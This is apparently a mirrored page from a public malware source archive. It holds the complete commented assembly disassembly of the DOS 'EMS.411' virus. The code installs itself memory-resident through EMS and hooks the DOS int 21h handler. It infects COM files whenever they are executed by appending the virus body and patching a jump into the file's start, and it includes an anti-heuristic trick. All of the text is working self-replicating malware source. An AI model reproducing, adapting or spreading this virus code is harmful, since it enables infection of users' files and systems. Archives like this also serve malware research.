mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
214 lines
6.9 KiB
NASM
214 lines
6.9 KiB
NASM
; EMS.411 Virus
|
|
; Dissassembly by Vecna/29A
|
|
.model tiny
|
|
.code
|
|
.386p
|
|
org 0
|
|
VirusStart:
|
|
jmp RealStart ; jump to real start of virus
|
|
HostCode:
|
|
int 20h ; code of the start of the host is
|
|
nop ; stored here
|
|
EMM db 'EMMXXXX0'
|
|
InfectJump:
|
|
db 0e9h ; this jump is written to begin
|
|
WhereIAm dw 0 ; of file
|
|
LowMemCode:
|
|
pushf
|
|
cmp byte ptr cs:[InUse-LowMemCode], 0
|
|
jnz Int21InUse ; if we're using int21, the bit is set
|
|
pusha
|
|
mov ax, 4400h
|
|
xor bx, bx
|
|
mov dx, cs:[Page_-LowMemCode]
|
|
int 67h ; map our page
|
|
popa
|
|
popf
|
|
db 09ah ; call our int21 handler in the EMS
|
|
dw offset Int21Handler
|
|
PageFrame dw 0000h
|
|
pusha
|
|
pushf
|
|
mov ax, 4400h
|
|
mov bx, 0FFFFh
|
|
mov dx, cs:[Page_-LowMemCode]
|
|
int 67h ; unmap out page
|
|
mov bp, sp
|
|
mov ax, [bp+0] ; get flag status after exec
|
|
mov [bp+16h], ax ; and put in the caller stack
|
|
popf
|
|
popa
|
|
iret
|
|
Page_ dw 0 ; number of our page
|
|
InUse db 0 ; this byte is set if we are using
|
|
; the int21
|
|
Int21InUse:
|
|
popf
|
|
db 0EAh ; jump to real int21
|
|
Old21:
|
|
dd 0
|
|
Int21Handler:
|
|
pushf
|
|
xchg ax, dx ; anti-heuristic
|
|
cmp dx, 4B00h
|
|
jz Infect ; infect on execute only
|
|
xchg ax, dx
|
|
call dword ptr cs:[Old21] ; do real call
|
|
retf
|
|
Infect:
|
|
popf
|
|
call ToggleFlag ; set flag warning we using int 21
|
|
xchg ax, dx
|
|
push ds
|
|
push dx
|
|
pushf
|
|
call dword ptr cs:[Old21] ; execute original function first
|
|
pushf
|
|
pusha
|
|
push ds
|
|
mov bp, sp
|
|
lds dx, [bp+14h] ; load DS:DX from the saved copy in
|
|
mov ax, 3D02h ; the stack, and open the file R/W
|
|
int 21h
|
|
xchg ax, bx
|
|
mov ah, 3Fh
|
|
mov cx, 3
|
|
push cs
|
|
pop ds
|
|
mov dx, offset HostCode ; read 3 bytes from file to our buffer
|
|
int 21h
|
|
mov ax, 4202h
|
|
cwd
|
|
xor cx, cx
|
|
int 21h ; seek to the end of the file
|
|
sub ax, 3 ; sub 3 for the jump
|
|
push ax
|
|
sub ax, (offset VEnd-offset VirusStart)
|
|
cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
|
|
jz AlreadyInfected ; point to same place than we used to
|
|
mov ax, 'ZM' ; be? If yes, is already infected
|
|
cmp ax, word ptr ds:[HostCode]
|
|
jz AlreadyInfected ; file start with MZ (EXE file) ??
|
|
pop ax
|
|
mov word ptr ds:[WhereIAm], ax ; save position for jump
|
|
mov ah, 40h
|
|
mov cx, (offset VEnd-offset VirusStart)
|
|
cwd
|
|
int 21h ; write virus code to end of file
|
|
mov ax, 4200h
|
|
xor cx, cx
|
|
cwd
|
|
int 21h ; seek to start of file
|
|
mov ah, 40h
|
|
mov cx, 3
|
|
mov dx, offset InfectJump
|
|
int 21h ; write a jump to virus code
|
|
jmp short InfectionOk
|
|
AlreadyInfected:
|
|
add sp, 2 ; fix the stack
|
|
InfectionOk:
|
|
mov ah, 3Eh ; close file
|
|
int 21h
|
|
call ToggleFlag ; we're not using int21 anymore
|
|
pop ds
|
|
popa
|
|
push bp
|
|
mov bp, sp
|
|
lea sp, [bp+8] ; get returned AX and FLAGS
|
|
push ax
|
|
mov ax, [bp+2]
|
|
push ax
|
|
popf ; put they in right place
|
|
pop ax
|
|
mov bp, [bp+0]
|
|
retf
|
|
ToggleFlag:
|
|
push ax
|
|
push ds
|
|
mov ax, 24h ; set flag of int21 in use
|
|
mov ds, ax
|
|
xor byte ptr ds:[InUse-offset LowMemCode], 1
|
|
pop ds
|
|
pop ax
|
|
retn
|
|
RealStart:
|
|
pusha
|
|
mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump
|
|
add bx, 103h ; that we put in the start of host
|
|
call Install
|
|
mov di, si
|
|
lea si, [bx+3]
|
|
movsb ; restore old code
|
|
movsw
|
|
popa
|
|
jmp si ; jump to start of file
|
|
Install:
|
|
push bx
|
|
push si
|
|
push es
|
|
push ds
|
|
push bx
|
|
push bx
|
|
push ds
|
|
mov ax, 24h ; check if we are already in 24:0
|
|
mov ds, ax
|
|
cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS:
|
|
pop ds
|
|
jz AlreadyInstalled
|
|
lea si, [bx+offset EMM]
|
|
mov ax, 3567h
|
|
int 21h ; get segment of EMM386
|
|
mov di, 0Ah
|
|
mov cx, 8
|
|
rep cmpsb ; is really EMM386?
|
|
jnz AlreadyInstalled
|
|
mov ah, 42h
|
|
int 67h ; Number of pages
|
|
cmp bx, 1
|
|
jl AlreadyInstalled ; less than 1, abort install
|
|
mov ah, 41h
|
|
int 67h ; get page frame
|
|
pop si
|
|
mov cs:[si+PageFrame], bx ; save it
|
|
mov es, bx
|
|
mov ah, 43h
|
|
mov bx, 1
|
|
int 67h ; allocate 1 page
|
|
mov cs:[si+Page_], dx
|
|
mov ax, 4400h
|
|
mov bx, 0
|
|
int 67h ; map memory
|
|
mov ax, 3521h
|
|
int 21h ; get adress of int21
|
|
mov word ptr cs:[si+Old21], bx ; save it
|
|
mov word ptr cs:[si+Old21+2], es
|
|
mov es, cs:[si+offset PageFrame]
|
|
xor di, di
|
|
mov cx, 19Bh ; copy our code to our page
|
|
rep movsb
|
|
mov ax, 4400h
|
|
mov bx, 0FFFFh
|
|
int 67h ; unmap memory
|
|
mov di, 24h
|
|
mov bx, di
|
|
mov es, di
|
|
xor di, di
|
|
pop si
|
|
add si, 11h
|
|
mov cx, offset Int21Handler-offset LowMemCode
|
|
rep movsb ; move int21 handler to IVT
|
|
mov ds, bx
|
|
xor dx, dx
|
|
mov ax, 2521h ; point int21 to 24:0
|
|
int 21h
|
|
jmp InstalledOk
|
|
AlreadyInstalled:
|
|
add sp, 4 ; fix stack if error
|
|
InstalledOk:
|
|
pop ds
|
|
pop es
|
|
pop si
|
|
pop bx
|
|
ret ; return
|
|
VEnd = $
|
|
End VirusStart |